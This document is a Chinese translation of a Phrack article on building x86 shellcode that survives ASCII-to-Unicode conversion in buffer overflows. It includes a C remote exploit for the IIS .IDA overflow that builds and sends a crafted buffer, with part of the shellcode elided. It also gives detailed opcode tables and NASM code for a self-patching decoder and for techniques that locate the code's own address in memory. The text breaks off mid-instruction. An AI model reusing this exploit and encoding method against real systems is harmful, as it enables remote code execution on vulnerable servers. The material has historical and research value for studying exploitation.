创建IA32下针对Unicode有效的ShellCodes 创建时间:2003-08-14 文章属性:翻译 文章提交:FZ5FZ (fz5fz_at_sina.com) ------------------[ Phrack 杂志 --- 卷标 0x0b │ 期刊 61 ] ------------------[ 创建IA32下针对Unicode有效的ShellCodes ] ------------------[ 作者:obscou < obscou@dr.com || wishkah@chek.com > ] ------------------[ 翻译:Brief < Brief@fz5fz.org > ] 译者注: 由于本人接触BOF及ShellCode不久,理解和翻译得不妥之处,还望各位前辈斧正。 如果E文可以的话,您最好还是看看原文吧! 原文链接: < http://www.phrack.org/show.php?p=61&a=11 > --[ 目录 0 - Unicode 标准 1 - 介绍 2 - 指令集 3 - 可能性 4 - 策略 5 - 代码的位置 6 - 结论 7 - 附录 : 代码 --[0 - Unicode 标准 在我们利用缓冲区溢出漏洞时常常会遇到一类困难:字符转换。实际上,具有漏洞的程序可能会通过设置大小写转换,去掉非字母数字组合字符串等等来修改我们的缓冲区,这样往往使得我们ShellCode的攻击不再有效。在此我们要处理的为基于从C类型字符串(通常以‘\0’结束的字符串)到Unicode字符串的转换。 下面我们来快速浏览一下Unicode吧: “什么是Unicode ? Unicode为每一个字符提供单独的编码, 无所谓何种平台, 无所谓何种程序, 无所谓何种语言。“ --- http://www.unicode.org/ 实际上,因为Internet变得如此的流行,而且我们又使用了不同的语言和不同的文字,所以现在需要一种能够让计算机在任意平台,任意程序,任意语言和任意网络间进行数据交换的标准。Unicode是一个16位的字符集,它能够为任意的字符编码,因此成为了世界范围内的字符编码标准。 今天,Unicode被以下的工业界的领头们所使用: Apple HP IBM Microsoft Oracle Sun 和其他各大公司... Unicode被以下主要的软件所支持: 操作系统: Microsoft Windows CE, Windows NT, Windows 2000, and Windows XP GNU/Linux with glibc 2.2.2 or newer - FAQ support Apple Mac OS 9.2, Mac OS X 10.1, Mac OS X Server, ATSUI Compaq's Tru64 UNIX, Open VMS IBM AIX, AS/400, OS/2 SCO UnixWare 7.1.0 Sun Solaris 当然还包括所有运行在它们环境下的所有软件…… http://www.unicode.org/charts/ 列举了支持的字符列表,类似下图: | 范 围 | 字符集 |-----------|-------------------- | 0000-007F | 基本拉丁文 | 0080-00FF | 拉丁文-1补充 | 0100-017F | 拉丁文扩展-A | [...] | [...] | 0370-03FF | 希腊语和埃及古语 | [...] | [...] | 0590-05FF | 希伯来语 | 0600-06FF | 阿拉伯语 | [...] | [...] | 3040-309F | 日文平假名 | 30A0-30FF | 日文片假名 Unicode 4.0 所支持的字符有: Basic Latin Block Elements Latin-1 Supplement Geometric Shapes Latin Extended-A Miscellaneous Symbols Latin Extended-B Dingbats IPA Extensions Miscellaneous Math. Symbols-A Spacing Modifier Letters Supplemental Arrows-A Combining Diacritical Marks Braille Patterns Greek Supplemental Arrows-B Cyrillic Miscellaneous Mathematical Symbols-B Cyrillic Supplement Supplemental Mathematical Operators Armenian CJK Radicals Supplement Hebrew Kangxi Radicals Arabic Ideographic Description Characters Syriac CJK Symbols and Punctuation Thaana Hiragana Devanagari Katakana Bengali Bopomofo Gurmukhi Hangul Compatibility Jamo Gujarati Kanbun Oriya Bopomofo Extended Tamil Katakana Phonetic Extensions Telugu Enclosed CJK Letters and Months Kannada CJK Compatibility Malayalam CJK Unified Ideographs Extension A Sinhala Yijing Hexagram Symbols Thai CJK Unified Ideographs Lao Yi Syllables Tibetan Yi Radicals Myanmar Hangul Syllables Georgian High Surrogates Hangul Jamo Low Surrogates Ethiopic Private Use Area Cherokee CJK Compatibility Ideographs Unified Canadian Aboriginal Syllabic Alphabetic Presentation Forms Ogham Arabic Presentation Forms-A Runic Variation Selectors Tagalog Combining Half Marks Hanunoo CJK Compatibility Forms Buhid Small Form Variants Tagbanwa Arabic Presentation Forms-B Khmer Halfwidth and Fullwidth Forms Mongolian Specials Limbu Linear B Syllabary Tai Le Linear B Ideograms Khmer Symbols Aegean Numbers Phonetic Extensions Old Italic Latin Extended Additional Gothic Greek Extended Deseret General Punctuation Shavian Superscripts and Subscripts Osmanya Currency Symbols Cypriot Syllabary Combining Marks for Symbols Byzantine Musical Symbols Letterlike Symbols Musical Symbols Number Forms Tai Xuan Jing Symbols Arrows Mathematical Alphanumeric Symbols Mathematical Operators CJK Unified Ideographs Extension B Miscellaneous Technical CJK Compatibility Ideographs Supp. Control Pictures Tags Optical Character Recognition Variation Selectors Supplement Enclosed Alphanumerics Supplementary Private Use Area-A Box Drawing Supplementary Private Use Area-B 微软语: “Unicode是世界范围内的字符编码标准。Windows NT,Windows 2000和Windows XP在系统级特地使用了Unicode作为字符和字符串操作的标准。Unicode简单化了软件定位并促进了多语言文本的处理。在您的程序中通过使用Unicode,您可以使你的程序通过一个简单的二进制文件来处理所有可能的字符代码,从而在全球市场上拥有统一的数据交流的能力。” 我们注意到Windows提供的编程接口包含了ASNI和Unicode各自对应的API,例如: API: MessageBox (显示一个消息框)是从User32.dll中导出的: MessageBoxA (ANSI) MessageBoxW (Unicode) MessageBoxA 将接受一个标准的C类型字符串作为参数; MessageBoxW 则需要一个Unicode编码的字符串作为参数。 据微软称,系统内部在处理字符串之前将会在不同标准间进行透明的类型转换。但是如果你想在Windows下使用ANSI编写一个C程序,那么需要定义UNICODE,并且每个API都将被替换为‘W’版本。 这一点吸引了我,现在让我们直接进入主题吧…… --[ 1 - 介绍 我们将会考虑如下的情形: 您发送了一些数据到容易被攻击的服务器,并且你的数据被认为是以ASCII标准编码的,那么你的缓冲区将会因为兼容性的原因被转换为Unicode编码,并且将会在你发送的已经转换过的缓冲区里发生溢出。 例如,下面的输入缓冲区: 4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !... 0000 0000 0000 0000 0000 0000 0000 0000 ................ 转换之后: 4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o. 7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!....... 这时,溢出发送了(当然我知道我所给出的例子是如此的乏味) 在Win32平台下,进程通常是在00401000处开始执行的,这就使得我们通过返回一个如下形式的地址来打乱 EIP: ????:00??00?? 所以即使如此简单的转换,漏洞的利用同样成为可能。但是如果要获得一个可行的ShellCode那将需要很多艰辛的劳动!一种可能性就是将未转换的ShellCode连续填入到堆栈中直到填满,这时通过转换之后的代码进行溢出,使其返回到我们众多可计数的某一个ShellCode上来。在此我们假设这是不可能的,因为所有的缓冲区都是基于Unicode编码的。更不必说我们的汇编指令不会执行如此不安全的代码。我们需要找到一种能经受住类型转换的ShellCode,也就是在Unicode编码下仍然行之有效的ShellCode。首先,我们需要查找含有空字节的操作码来创建我们的ShellCode。 虽然这是一个有些老了的例子,但它可以说明在发送的缓冲区被“污染”之后,仍然可以保证正确执行我们的ShellCode。 (这个漏洞在我的电脑上执行成功,它是针对IIS的WWW服务): ---------------- CUT HERE ------------------------------------------------- /* IIS .IDA 远程溢出漏洞 格式化返回地址: 0x00530053 IIS 持有的我们的大缓冲区地址:0x0052.... 我们跳到缓冲区,并得到需要的指针 by obscurer */ #include #include #include void usage(char *a); int wsa(); /* 我的通用 Win32 Shellcode */ unsigned char shellcode[]={ "\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41" "\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F" [......] [......] [......] "\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01" "\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"}; int main (int argc, char **argv) { int sock; struct hostent *host; struct sockaddr_in sin; int index; char *xploit; char *longshell; char retstring[250]; if(argc!=4&&argc!=5) usage(argv[0]); if(wsa()==FALSE) { printf("Error : cannot initialize winsock\n"); exit(0); } int size=0; if(argc==5) size=atoi(argv[4]); printf("Beginning Exploit building\n"); xploit=(char *)malloc(40000+size); longshell=(char *)malloc(35000+size); if(!xploit||!longshell) { printf("Error, not enough memory to build exploit\n"); return 0; } if(strlen(argv[3])>65) { printf("Error, URL too long to fit in the buffer\n"); return 0; } for(index=0;indexh_addr, sizeof(host->h_addr)); } else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]); sin.sin_family=AF_INET; sin.sin_port=htons(atoi(argv[2])); index=connect(sock,(struct sockaddr *)&sin,sizeof(sin)); if (index==-1) { printf("Error : Couldn't connect to host\n"); return 0; } printf("Connected to host, sending shellcode\n"); index=send(sock,xploit,strlen(xploit),0); if(index<1) { printf("Error : Couldn't send trough socket\n"); return 0; } printf("Done, waiting for an answer\n"); memset (xploit,0, 2000); index=recv(sock,xploit,100,0); if(index<0) { printf("Server crashed, if exploit didn't work, increase buffer size by 10000\n"); exit(0); } printf("Exploit didn't seem to work, closing connection\n",xploit); closesocket(sock); printf("Done\n"); return 0; } ---------------- CUT HERE ------------------------------------------------- 在本例中,漏洞的字符串形式如下: "GET /NULL.ida?[BUFFER]=x HTTP/1.1\nHost: localhost\nAlex: [ANY]\n\n" 如果[BUFFER]足够大,EIP将会被它说包含的内容打乱。但是,我注意到在溢出发生的时候[BUFFER]被转换为Unicode编码。但是一些有趣的事是[ANY]是一个被映射到00530000附近的干净ASCII缓冲区。所以,我试图将[BUFFER]设置为“SSSSSSSSSSSSS”( S = 0x53),在Unicode转换之后,为如下形式: ...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53... EIP被打乱为0x00530053,IIS返回到[ANY]附近。我在[ANY]附近设置了大量的0x41 = 'A'(增加寄存器)和我的ShellCode。这样,我的ShellCode被成功执行了,但是如果我们没有干净的缓冲区,将无法在存储器中安装我们的ShellCode。我们必须寻找其他的解决办法。 --[ 2 - 指令集 我们必须记住不能使用绝对地址的调用(call),跳转(jmp)等指令,因为我们希望自己的ShellCode具有尽量可能的兼容性。 首先,要了解哪些操作码能够被利用,哪些是我们无法利用的,这样就可以找到一种对应的策略。在Intel的文档中提到: r32 对应于一个32位的寄存器(eax,esi,ebp...) r8 对应于一个 8位的寄存器(ah,bl,cl...) - 无条件跳转(JMP) JMP的可能操作码为基于相对跳转的EB和E9,它们必须后跟一个字节,所以我们无法使用它们(00 意味着跳转到下一条指令,对我们来说基本上没有用)。 对应绝对跳转的FF和FA,它们的操作码不能后跟00,除非我们希望跳转到一个已知的地址,但是这就只是一个硬编码的ShellCode了! - 条件跳转 (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...) 远跳转(far jumps)指令的语法指示其必须后跟两个连续的非空字节,所以无用。而对于近跳转(near jumps)后跟将要跳转的距离,而00将不会被使用,所以JMP r32对我们来说是不可能的了。 - 循环 (LOOP, LOOPcc : LOOPE, LOOPNZ..) 一些问题:E0,E1,E2都是循环指令,它们需要跟交叉的字节数…… - 重复 (REP, REPcc : REPNE, REPNZ, REP + 字符串操作) 这些指令都是以双字节开始的,所以同样没有利用的价值。 - 调用 只有相对调用可以被利用: E8 ?? ?? ?? ?? 在我们所遇到的情况中,必须为: E8 00 ?? 00 ?? (对应的每个 ?? != 00) 因为我们的调用将会至少是01000000字节或更远,这时将无法利用,所以CALL r32也是不可能的。 - 条件设置字节 (SETcc) 这条指令需要两个非空字节(例如 SETA 为 0F 97)。 看起来是很困难的……我们不能做任何的测试……因为我们不能做任何的有条件的事!并且,我们不能移动我们的代码:没有JUMP,没有CALLS可以被使用,没有LOOPS也没有REPEATS可以执行! 那我们能做什么呢? 注意咯!我们在操作 EAX 寄存器时会有很多的空字符可以使用!!!因为我们在使用EAX,[EAX],AX等等作为操作数时,它们往往存在十六进制编码的 00。 - 单字节操作数 我们可以使用任何的单字节操作码,这将给予我们 INC 或 DEL 任意寄存器的机会,XCHG 和 PUSH/POP 操作寄存器时同样也可以利用起来。 我们可以做: XCHG r32,r32 POP r32 PUSH r32 - MOV ________________________________________________________________ |8800 mov [eax],al | |8900 mov [eax],eax | |8A00 mov al,[eax] | |8B00 mov eax,[eax] | | | |没什么价值。 | |________________________________________________________________| ________________________________________________________________ |A100??00?? mov eax,[0x??00??00] | |A200??00?? mov [0x??00??00],al | |A300??00?? mov [0x??00??00],eax | | | |硬编码地址对我们来说也没有用。 | |________________________________________________________________| ________________________________________________________________ |B_00 mov r8,0x0 | |A4 movsb | | | |这些情况可能有用。 | |________________________________________________________________| ________________________________________________________________ |B_00??00?? mov r32,0x??00??00 | |C600?? mov byte [eax],0x?? | | | |这对修补存储器有用。 | |________________________________________________________________| - ADD ________________________________________________________________ |00__ add [r32], r8 | | | | 将寄存器作为指针,我们可以添加信息到存储器内。 | | | |00__ add r8,r8 | | | | 可以用来修改寄存器。 | |________________________________________________________________| - XOR ________________________________________________________________ |3500??00?? xor eax,0x??00??00 | | | | | | 可以用来修改EAX寄存器。 | |________________________________________________________________| - PUSH ________________________________________________________________ |6A00 push dword 0x00000000 | |6800??00?? push dword 0x??00??00 | | | | 只有这个可以被利用成功。 | |________________________________________________________________| --[ 3 - 可能性 首先我们需要去掉一些小的细节:通过这种方法在我们的代码中存放的0x00可能会需要一些谨慎,因为如果我们从一个打乱的 EIP 返回到 ADDR: ... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ... ||s ADDR 如果我们返回到 ADDR 或 ADDR+1 时,得到的结果可能会完全的不同! 但是我们可以使用“空操作”指令,比如: ________________________________________________________________ |0400 add al,0x0 | |________________________________________________________________| 因为000400对应:add [2*eax],al,我们可以跳转到任何想去的地方,这将不会因为指向0x00或其他而烦恼了。 但是它需要 2*eax 指向一个有效的指针,我们同样有: ________________________________________________________________ |06 push es | |0006 add [esi],al | | | |0F000F str [edi] | |000F add [edi],cl | | | |2E002E add [cs:esi],ch | |002E add [esi],ch | | | |2F das | |002F add [edi],ch | | | |37 aaa | |0037 add [edi],dh | | ; .... 等 等... | |________________________________________________________________| 我们只需要注意排列队列的问题了。 然后,看看我们能做些什么: XCHG, INC, DEC, PUSH, POP 32位的寄存器可以被直接得操作。 我们可以设置一个寄存器(r32)为 00000000: ________________________________________________________________ |push dword 0x00000000 | |pop r32 | |________________________________________________________________| 注意,我们可以通过 XCHG 指令来操作任何的寄存器,就像操作EAX寄存器一样。 例如我们可以在第二个位置通过 0x00 来设置 EDX 为任何的值,(如:0x12005678) ________________________________________________________________ |mov edx,0x12005600 ; EDX = 0x12005600 | |mov ecx,0xAA007800 | |add dl,ch ; EDX = 0x12005678 | |________________________________________________________________| 更大的困难:我们可以设置 EAX 为任意值,但是我们需要一些技巧来处理堆栈。 ________________________________________________________________ |mov eax,0xAA003400 ; EAX = 0xAA003400 | |push eax | |dec esp | |pop eax ; EAX = 0x003400?? | |add eax,0x12005600 ; EAX = 0x123456?? | |mov al,0x0 ; EAX = 0x12345600 | |mov ecx,0xAA007800 | |add al,ch | | ; 最终: EAX = 0x12345678 | |________________________________________________________________| 同时注意,我们可能同样需要设置一个 0x00: 如果我们希望由 0x00 来代替 0x12,可以通过添加 0x56 到 ah 来代替执行添加 0x00120056 到寄存器中。 ________________________________________________________________ |mov ecx,0xAA005600 | |add ah,ch | |________________________________________________________________| 如果我们希望由 0x00 来代替 0x34,可以通过在开始设置 EAX = 0x00000000 来代替设置 0x34。 如果我们希望 0x00 来代替 0x56,那么只须简单地通过添加 0x100 - 0x56 = 0xAA 来实现。 ________________________________________________________________ | ; EAX = 0x123456?? | |mov ecx,0xAA00AA00 | |add ah,ch | |________________________________________________________________| 如果我们希望由 0x00 来代替最后的字节,那么只须丢掉最后的一行即可。 可能你没有考虑到这么多,记住你能够跳转到一个给定的地址(假设地址存放在 EAX 中): ________________________________________________________________ |50 push eax | |C3 ret | |________________________________________________________________| 你可能在绝望的时候使用这种代码。 --[ 4 - 策略 以上看起来利用一些这么小的操作码是否不可能执行什么实际的ShellCode,答案是否!我们来看看这种开发思路: 给出一个可执行的ShellCode,我们必须去掉每个字节之间的 00。我们需要一个循环(Loop_code),假设 EAX 指向了我们的ShellCode: _Loop_code_:____________________________________________________ | ; eax 指向我们的 shellcode | | ; ebx == 0x00000000 | | ; ecx == 0x00000500 (例如) | | | | label: | |43 inc ebx | |8A1458 mov byte dl,[eax+2*ebx] | |881418 mov byte [eax+ebx],dl | |E2F7 loop label | |________________________________________________________________| 问题在于没有Unicode字符,所以我们将它们转换为Unicode: 43 8A 14 58 88 14 18 E2 F7, 转换结果为: 43 00 14 00 88 00 18 00 F7 现在,考虑到我们可以书写数据到EAX指向的地址,那么转换这些 00 为原始的数据将是比较简单的事情了。 我们只需要这样做(假设EAX指向我们的数据) ________________________________________________________________ |40 inc eax | |40 inc eax | |C60058 mov byte [eax],0x58 | |________________________________________________________________| 问题:仍然没有Unicode字符。例如两个 0x40 相连,我们需要在它们之间插入 00, 但单单一个 00 又不合适。我们需要如 00??00 类似的数据,并且它们不会影响到我们的代码,如: add [ebp+0x0],al (0x004500) 这将是合适的,最后我们可以得到: ________________________________________________________________ |40 inc eax | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |C60058 mov byte [eax],0x58 | |________________________________________________________________| -> [40 00 45 00 40 00 45 00 C6 00 58] 现在已经是Unicode编码了,呵呵! 在我们循环之前,必须有些事情要做: 首先,我们必须设置一个合适的计数器,我打算设置 ECX 为 0x0500,这将适应1280字节的ShellCode,不过这个是可以更改的。 -> 这可以轻松的实现,参见前面我们的讨论; 然后,我们必须设置EBX为 0x00000000,这样循环才可以完全得工作; -> 这个也比较简单; 最后,我们必须设置EAX指向我们自己的ShellCode,这样才能够修改更换过的空字节。 -> 这将是一件艰难的事情,我们在后面讨论。 假设 EAX 指向了我们的代码,我们可以创建一个用来清洁代码的头部(我们使用 add [ebp+0x0],al 来排列空字符) -> 第一部:我们设置 EBX=0x00000000 和 ECX=0x00000500 (缓冲区的大概位置) ________________________________________________________________ |6A00 push dword 0x00000000 | |6A00 push dword 0x00000000 | |5D pop ebx | |004500 add [ebp+0x0],al | |59 pop ecx | |004500 add [ebp+0x0],al | |BA00050041 mov edx,0x41000500 | |00F5 add ch,dh | |________________________________________________________________| -> 第二部:循环代码的补丁: 43 00 14 00 88 00 18 00 F7 ===> 43 8A 14 58 88 14 18 E2 F7 这样我们需要恰好四字节的长度: (使用 {add dword [eax],0x00??00??} 占用了更多的位置,我们将使用一个转移指令 {mov byte [eax],0x??} 来代替) ________________________________________________________________ |mov byte [eax],0x8A | |inc eax | |inc eax | |mov byte [eax],0x58 | |inc eax | |inc eax | |mov byte [eax],0x14 | |inc eax | | ; 更多的 inc 能够得到 EAX 指向的ShellCode | |________________________________________________________________| 排列队列指令{add [ebp+0x0],al} : ________________________________________________________________ |004500 add [ebp+0x0],al | |C6008A mov byte [eax],0x8A ; 0x8A | |004500 add [ebp+0x0],al | | | |40 inc eax | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |C60058 mov byte [eax],0x58 ; 0x58 | |004500 add [ebp+0x0],al | | | |40 inc eax | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |C60014 mov byte [eax],0x14 ; 0x14 | |004500 add [ebp+0x0],al | | | |40 inc eax | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |C600E2 mov byte [eax],0xE2 ; 0xE2 | |004500 add [ebp+0x0],al | |40 inc eax | |004500 add [ebp+0x0],al | |________________________________________________________________| 现在很好了,EAX已经指向了循环的尾部,也就是ShellCode! ->  第三部:循环代码(被空字符填充) ________________________________________________________________ |43 db 0x43 | |00 db 0x00 ; overwritten with 0x8A | |14 db 0x14 | |00 db 0x00 ; overwritten with 0x58 | |88 db 0x88 | |00 db 0x00 ; overwritten with 0x14 | |18 db 0x18 | |00 db 0x00 ; overwritten with 0xE2 | |F7 db 0xF7 | |________________________________________________________________| 在这之后,将会被我们开始书写的原始的可执行的ShellCode所代替。 现在让我们计算一下头部的长度(空字节不算) 第一部 : 10 字节 第而部 : 27 字节 第三部 : 5 字节 ------------------- 总共 : 42 字节 我发现这是可以接受,因为我可以处理一个Win32下450字节左右的ShellCode。 最后,我们做到了:一个ShellCode在它被转换为Unicode编码之后同样成功执行了。 这就是事实吗?当然不是,我们忘记了一些假设的事情。在前面我们假设 EAX 指向了循环代码的第一个空字节。但是我将解释如何获取它的方法。 --[ 5 - 代码的位置 问题很简单:我们需要在存储器中添加一些补丁来使得我们的循环代码正常地工作。因为我们自己来修补自己,所以需要知道自己在存储器当中的位置。 在汇编程序中,一种简单的方法是: ________________________________________________________________ |call label | | | | label: | |pop eax | |________________________________________________________________| 这将会获得存储器的绝对地址,并存储在 EAX 寄存器中。 在一个典型的ShellCode中,我们需要调用一个低一些的地址来避免空字节: ________________________________________________________________ |jmp jump_label | | | | call_label: | |pop eax | |push eax | |ret | | jump_label: | |call call_label | | ; **** | |________________________________________________________________| 我们将会获得存储器的绝对地址为'****'。 但是在我们的环境中我们无法实现,因为我们没有跳转或调用指令。并且,我们不能通过任何的方式来搜寻存储器里的某个关键字。 但是我肯定的是一定有其他的办法,不过在此我仅给出了三种: -> 第一种思路: 我们很幸运。 如果我们很幸运,期望一些寄存器正指向我们ShellCode的附近。事实上,这会有90%的可能性。这些地方不能被考虑为硬编码,因为在不同的主机之间进程相关的存储地址可能会移动(在服务器崩溃之前,它必定使用了我们的数据,并且正指向它们)。当然,我们可以添加一些数据到EAX寄存器当中。所以: - 使用 XCHG 来获得 EAX 中近似的地址; - 然后添加一个值到 EAX 中,最后移动到我们想要的任何地方。 问题在于我们不能使用 add al,r8 或 and ah,r8 。因为不要忘记: EAX=0x000000FF + add al,1 = EAX=0x00000000 所以这些操作将会处理不同的事情,而这一切取决于 EAX 寄存器中的数据。 所以我们可能得到的就是: add eax,0x??00??00   没有问题的,我们可以添加 0x1200 到 EAX 寄存器如下: ________________________________________________________________ |0500110001 add eax,0x01001100 | |05000100FF add eax,0xFF000100 | |________________________________________________________________| 然后,简单地添加一些队列数据(“空操作”指令),这样 EAX 就指向了我们想要的地址,例如: ________________________________________________________________ |0400 add al,0x0 | |________________________________________________________________| 这就可以很好的从新排列队列了。我们可能还需要一些 inc EAX 指令。 这种方法可能需要一些额外的地址空间(最大为128字节的空间,因为我们只能够得到 EAX 指向最近的地址模块 0x100,然后我们需要添加一些队列数据。因为每两字节实际上为一字节的空间,其中包含了一些空字节,我们最坏需要添加 0x100 / 2 = 128 字节)。 -> 第二种思路: 没有这么好的运气。 如果我们不能找到一个接近我们代码地址的寄存器,但是可以尝试找到一个合适的堆栈。我们期望 ESP 在溢出过程中没有被打乱。 你只需要从堆栈中出栈数据,直到找到一个合适的地址。这种思路不能适用于一个通用的方法,但是堆栈总是包含了应用程序在溢出之前的地址。注意你可以使用POPAD来出栈 EDI, ESI, EBP, EBX, EDX, ECX, 和 EAX。然后我们使用前面相同的方法。 -> 第三种思路: 上帝保佑我们! 现在,假设我们没有找到任何有用的寄存器,或则相关寄存器中的数据是变化的。并且,在堆栈中同样没有我们感兴趣的数据。 这儿有一种绝望的办法 -> 我们使用一个“自杀”的攻击方式。 我最后的思路如下: - 获取一个随机的具有写权限的存储器位置; - 修改其中的三个字节; - 通过相对调用指令调用这个位置。 第一部需要很大的运气:我们需要找到一个具有写权限的节(Section)中的地址。我们最好在一个节的最后查找,这样往往会有一些空字节,因为我们将会执行随机的调用。最简单的办法就是在PE文件格式的 .data 节。通常这是一个非常大的空间,其标识为:读/写/数据。 所以现在我们可以在这个区域使用一个固定的地址。第一步就是在它的中部取得一个地址(如果在溢出以后其中的一个寄存器指向了无效的地址,我们就不需要做这些工作了)。假设地址为 0x004F1200 : 使用我们前面提到的方法,很容易设置 EAX 为这个地址: ________________________________________________________________ |B8004F00AA mov eax,0xAA004F00 ; EAX = 0xAA004F00 | |50 push eax | |4C dec esp | |58 pop eax ; EAX = 0x004F00?? | |B000 mov al,0x0 ; EAX = 0x004F0000 | |B9001200AA mov ecx,0xAA001200 | |00EC add ah,ch | | ; 最后 : EAX = 0x004F1200 | |________________________________________________________________| 然后,我们将修改这个可写的位置: ________________________________________________________________ |pop eax | |push eax | |ret | |________________________________________________________________| 补丁的十六进制代码为: [58 50 C3] 在我们调用了这个地址以后,我们可以得到一个保存在 EAX 中的指向我们代码的指针。这就是这个问题的结尾,然后我们来修改以下: 记住,EAX 包含的为我们修改的地址。 我们下一步要做的就是修改 58 00 C3 00 ,然后将 EAX 向前移动一个字节,然后把最后一个字节 0x50 放到它们两者之间。 不要忘记字节在堆栈中的位置为反向的。 ________________________________________________________________ |C7005800C300 mov dword [eax],0x00C30058 | |40 inc eax | |C60050 mov byte [eax],0x50 | |________________________________________________________________| 处理完补丁后,我们必须调用这个位置。 当然我说过我们不能够调用任何东西,但是现在是没有办法的办法了,所以我们使用了一个相对调用: ________________________________________________________________ |E800??00!! call (here + 0x!!00??00) | | (**) | |________________________________________________________________| 在例子中,为了是我们的这种方法执行成功,还必须修改这个节尾部的大量的空字节。这样我们就可以调用这个区域的任何地址,直到我们调用了修改的三字节补丁。 在执行了这个调用后,EAX 将会拥有一个地址(**),我们解放了,因为我们需要添加一个可计算的数值到 EAX 寄存器中,这个值就是在我们的代码中的两个偏移量之间的距离。由于我们希望添加的值小于 0x100,因此我们不能使用先前的技术来将字节的数据添加到 EAX 当中。我们不能使用如 {add eax, imm32} 的填充方式,下面让我们看看其他的办法: add dword [eax], byte 0x?? 这是一个关键,因为我们可以添加一个字节的数据到一个dword里,这就太好了。 EAX 指向的(**),所以我们可以使用这个存储器位置来设置 EAX 的新的数据,然后返回到 EAX 中去。假设我们希望添加 0x?? 到 EAX 中: add dword [eax], byte 0x?? 我们使用了有符号数,所以如果我们使用了过大的数据值,将会执行减操作来代替加操作。 ________________________________________________________________ |0400 ad al,0x0 ; the 0x04 will be overwritten| |8900 mov [eax],eax | |8300?? add dword [eax],byte 0x?? | |8B00 mov eax,[eax] | |________________________________________________________________| 所有的事情都对了,现在可以使 EAX 指向我们希望的循环代码中精确的第一个空字符了。我们只需要计算出 0x??(只须计算循环代码和调用指令间包括空字符的长度,您将会发现是 0x5A)。 --[ 6 - 结论 最后,我们可以制作一个通用的ShellCode,它在字符串转换为Unicode的时候就可以不用任何的修改。 我将期待在这方面的其他的思路和技术,并且可以肯定的是,我还有很多的东西没有考虑到。 由于 : - NASM Compiler and disassembler (i like its style =) - Datarescue IDA - Numega SoftIce - Intel and its processors 文档 : - http://www.intel.com / for the official intel assembly doc 问候 : - rix, for showing us beautiful things in his articles - Tomripley, who always helps me when i need him ! --| 7 - 附录:代码 为了测试的目的,我给出了一些可以使用的代码(NASM方式)。它们不是真实例子的代码,但是我收集了我所有的例子。 - main.asm ---------------------------------------------------------------- %include "\Nasm\include\language.inc" [global main] segment .code public use32 ..start: ; ********************************************* ; * Assuming EAX points to (*) (see below) * ; ********************************************* ; ; Setting EBX to 0x00000000 and ECX to 0x00000500 ; push byte 00 ; 6A00 push byte 00 ; 6A00 pop ebx ; 5D add [ebp+0x0],al ; 004500 pop ecx ; 59 add [ebp+0x0],al ; 004500 mov edx,0x41000500 ; BA00050041 add ch,dh ; 00F5 ; ; Setting the loop_code ; add [ebp+0x0],al ; 004500 mov byte [eax],0x8A ; C6008A add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 mov byte [eax],0x58 ; C60058 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 mov byte [eax],0x14 ; C60014 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 mov byte [eax],0xE2 ; C600E2 add [ebp+0x0],al ; 004500 inc eax ; 40 add [ebp+0x0],al ; 004500 ; ; Loop_code ; db 0x43 db 0x00 ;0x8A (*) db 0x14 db 0x00 ;0x58 db 0x88 db 0x00 ;0x14 db 0x18 db 0x00 ;0xE2 db 0xF7 ; < Paste 'unicode' shellcode there > -EOF----------------------------------------------------------------------- Then the 3 methodes to get EAX to point to the chosen code. (N.B : The 'main' code is 42*2 = 84 bytes long) - methode1.asm ------------------------------------------------------------ ; ********************************************* ; * Adjusts EAX (+ 0xXXYY bytes) * ; ********************************************* ; N.B : 0xXX != 0x00 add eax,0x0100XX00 ; 0500XX0001 add [ebp+0x0],al ; 004500 add eax,0xFF000100 ; 05000100FF add [ebp+0x0],al ; 004500 ; we added 0x(XX+1)00 to EAX ; using : add al,0x0 as a NOP instruction : add al,0x0 ; 0400 add al,0x0 ; 0400 add al,0x0 ; 0400 ; [...] <-- (0x100 - 0xYY) /2 times add al,0x0 ; 0400 add al,0x0 ; 0400 add al,0x0 ; 0400 ; (N.B) if 0xYY is odd then add a : dec eax ; 48 add [ebp+0x0],al ; 004500 -EOF----------------------------------------------------------------------- - methode2.asm ------------------------------------------------------------ ; ********************************************* ; * Basically : POPs and XCHG * ; ********************************************* popad ; 61 add [ebp+0x0],al ; 004500 xchg eax, ? ; 1 non null byte (find out what to do here) add [ebp+0x0],al ; 004500 ; do it again if needed, then use methode1 to make everything okay -EOF----------------------------------------------------------------------- - methode3.asm ------------------------------------------------------------ ; ********************************************* ; * Using a CALL * ; ********************************************* ; Get the wanted address mov eax,0xAA00??00 ; B800??00AA add [ebp+0x0],al ; 004500 push eax ; 50 add [ebp+0x0],al ; 004500 dec esp ; 4C add [ebp+0x0],al ; 004500 pop eax ; 58 add [ebp+0x0],al ; 004500 mov al,0x0 ; B000 mov ecx,0xAA00!!00 ; B900!!00AA add ah,ch ; 00EC add [ebp+0x0],al ; 004500 ; EAX = 0x00??!!00 ; awfull patch, i agree mov dword [eax],0x00C30058 ; C7005800C300 inc eax ; 40 add [ebp+0x0],al ; 004500 mov byte [eax],0x50 ; C60050 add [ebp+0x0],al ; 004500 ; just pray and call call 